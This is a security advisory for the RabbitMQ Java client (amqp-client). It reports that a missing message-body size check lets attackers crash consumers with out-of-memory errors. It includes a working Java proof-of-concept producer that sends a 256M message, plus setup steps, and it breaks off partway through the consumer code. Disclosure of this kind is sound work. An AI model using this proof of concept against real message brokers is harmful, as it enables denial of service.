Affected: Maven: com.rabbitmq:amqp-client

### Summary `maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

### PoC #### RbbitMQ * Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory) * Start RabbitMQ #### Producer * Build a String of length 256M and send it to Consumer ```

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Producer { public static void main(String[] args) { ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class); AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); String s = "A"; for(int i=0;i<28;++i){ s = s + s; System.out.println(i); } amqpTemplate.convertAndSend(s); System.out.println("Send Finish"); } } ```

#### Consumer * First set the heap memory size to 128M * Read the message sent by the Producer from the MQ and print the length ``` package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate; import org.springframework.amqp.core.Message; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.…